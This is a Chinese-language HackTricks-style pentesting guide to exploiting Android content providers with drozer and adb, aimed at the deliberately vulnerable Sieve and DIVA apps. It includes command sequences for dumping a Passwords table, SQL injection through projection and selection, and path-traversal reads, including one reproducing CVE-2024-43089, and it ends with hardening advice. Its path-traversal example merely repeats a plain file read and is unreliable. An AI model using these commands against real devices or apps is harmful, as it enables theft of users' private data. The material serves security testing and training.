234 lines
10 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Exploiting Content Providers
{{#include ../../../banners/hacktricks-training.md}}
## Intro
数据是通过一个称为 **content provider** 的组件在应用程序之间 **按请求提供** 的。这些请求通过 **ContentResolver class** 方法进行管理。内容提供者可以将其数据存储在各种位置,例如 **数据库**、**文件** 或通过 **网络**
_Manifest.xml_ 文件中,内容提供者的声明是必需的。例如:
```xml
<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider>
```
要访问 `content://com.mwr.example.sieve.DBContentProvider/Keys`,需要 `READ_KEYS` 权限。值得注意的是,路径 `/Keys/` 在以下部分是可访问的,这由于开发者的错误而未受到保护,开发者保护了 `/Keys` 但声明了 `/Keys/`
**也许你可以访问私有数据或利用某些漏洞SQL 注入或路径遍历)。**
## 从 **暴露的内容提供者** 获取信息
```
dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
```
可以通过以“_content://_”开头的 URI 来拼凑出如何到达 **DBContentProvider**。这种方法基于使用 Drozer 获得的见解,其中关键信息位于 _/Keys_ 目录中。
Drozer 可以 **猜测并尝试多个 URI**
```
dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
```
您还应该检查 **ContentProvider 代码** 以搜索查询:
![](<../../../images/image (121) (1) (1) (1).png>)
此外,如果您找不到完整的查询,您可以 **检查 ContentProvider 在 `onCreate` 方法中声明的名称**
![](<../../../images/image (564).png>)
查询将类似于: `content://name.of.package.class/declared_name`
## **数据库支持的内容提供者**
大多数内容提供者可能作为 **数据库****接口** 使用。因此,如果您可以访问它,您将能够 **提取、更新、插入和删除** 信息。\
检查您是否可以 **访问敏感信息** 或尝试更改它以 **绕过授权** 机制。
检查 Content Provider 代码时,**还要查看** 名称类似于_query、insert、update 和 delete_ 的 **函数**
![](<../../../images/image (887).png>)
![](<../../../images/image (254) (1) (1) (1) (1) (1) (1) (1).png>)
因为您将能够调用它们
### 查询内容
```
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: incognitoguy50@gmail.com
```
### Insert content
查询数据库后,您将了解**列的名称**,然后,您可以在数据库中插入数据:
![](<../../../images/image (98).png>)
![](<../../..//images/image (173).png>)
_请注意在插入和更新中您可以使用 --string 来表示字符串,--double 来表示双精度,--float--integer--long--short--boolean_
### Update content
知道列的名称后,您还可以**修改条目**
![](<../../../images/image (780).png>)
### Delete content
![](<../../../images/image (423).png>)
### **SQL Injection**
通过操纵传递给内容提供者的**投影**和**选择字段**,测试 SQL 注入 **(SQLite)** 是很简单的。\
查询内容提供者时有两个有趣的参数可以搜索信息_--selection_ 和 _--projection_
![](<../../../images/image (784).png>)
您可以尝试**滥用**这些**参数**来测试**SQL 注入**
```
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
```
```
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
FROM SQLITE_MASTER WHERE type='table';--"
| type | name | tbl_name | rootpage | sql |
| table | android_metadata | android_metadata | 3 | CREATE TABLE ... |
| table | Passwords | Passwords | 4 | CREATE TABLE ... |
```
**通过Drozer自动发现SQL注入**
```
dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
dz> run scanner.provider.sqltables -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
android_metadata
notes
sqlite_sequence
```
## **文件系统支持的内容提供者**
内容提供者也可以用于**访问文件:**
![](<../../../images/image (407).png>)
### 读取**文件**
您可以从内容提供者读取文件。
```
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
```
### **路径遍历**
如果您可以访问文件您可以尝试利用路径遍历在这种情况下这不是必需的但您可以尝试使用“_../_”和类似的技巧
```
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
```
**通过Drozer自动发现路径遍历**
```
dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider
```
## 2023-2025 更新与现代技巧
### Drozer 3.x (Python 3) 已发布
WithSecure 在 2022 年恢复了对 drozer 的维护,并将框架移植到 **Python 3**(最新 **3.1.0 2024 年 4 月**)。除了兼容性修复外,特别在处理内容提供者时有用的新模块包括:
* `scanner.provider.exported` 仅列出 `android:exported="true"` 的提供者。
* `app.provider.grant` 自动调用 `grantUriPermission()`,以便您可以与在 Android 12+ 上期望 `FLAG_GRANT_READ_URI_PERMISSION` / `FLAG_GRANT_WRITE_URI_PERMISSION` 的提供者进行通信。
* 更好地处理 **Scoped Storage**,以便 Android 11+ 上的基于文件的提供者仍然可以访问。
升级(主机和代理):
```bash
pipx install --force "git+https://github.com/WithSecureLabs/drozer@v3.1.0"
adb install drozer-agent-3.1.0.apk
```
### 使用内置的 `cmd content` 助手 (ADB ≥ 8.0)
所有现代 Android 设备都配备了一个 CLI可以查询/更新提供者 **而无需安装任何代理**
```bash
adb shell cmd content query --uri content://com.test.provider/items/
adb shell cmd content update --uri content://com.test.provider/items/1 \
--bind price:d:1337
adb shell cmd content call --uri content://com.test.provider \
--method evilMethod --arg 'foo'
```
将其与 `run-as <pkg>` 或已获取root权限的shell结合使用以测试仅限内部的提供者。
### 最近滥用内容提供者的真实世界CVE
| CVE | 年份 | 组件 | 漏洞类别 | 影响 |
|-----|------|-----------|-----------|--------|
| CVE-2024-43089 | 2024 | MediaProvider | `openFile()`中的路径遍历 | 从任何应用的私有存储中任意读取文件 |
| CVE-2023-35670 | 2023 | MediaProvider | 路径遍历 | 信息泄露 |
在易受攻击的构建上重新创建CVE-2024-43089
```bash
adb shell cmd content read \
--uri content://media/external_primary/file/../../data/data/com.target/shared_prefs/foo.xml
```
### API 30+ 的加固检查清单
* 声明 `android:exported="false"`,除非提供者 **必须** 是公共的 从 API 31 开始,该属性是强制性的。
* 强制 **权限** 和/或 `android:grantUriPermissions="true"`,而不是导出整个提供者。
* 白名单允许的 `projection``selection``sortOrder` 参数(例如,使用 `SQLiteQueryBuilder.setProjectionMap` 构建查询)。
*`openFile()` 中规范请求的路径(`FileUtils`),并拒绝 `..` 序列以防止遍历。
* 当暴露文件时,优先使用 **Storage Access Framework**`FileProvider`
这些在最近的 Android 版本中的更改意味着许多遗留的利用原语仍然有效,但需要更新的 drozer 模块或 `cmd content` 助手可以自动应用的额外标志/权限。
## 参考文献
- [https://www.tutorialspoint.com/android/android_content_providers.htm](https://www.tutorialspoint.com/android/android_content_providers.htm)
- [https://manifestsecurity.com/android-application-security-part-15/](https://manifestsecurity.com/android-application-security-part-15/)
- [https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)
- [https://github.com/WithSecureLabs/drozer/releases/tag/3.1.0](https://github.com/WithSecureLabs/drozer/releases/tag/3.1.0)
- [https://source.android.com/security/bulletin/2024-07-01](https://source.android.com/security/bulletin/2024-07-01)
{{#include ../../../banners/hacktricks-training.md}}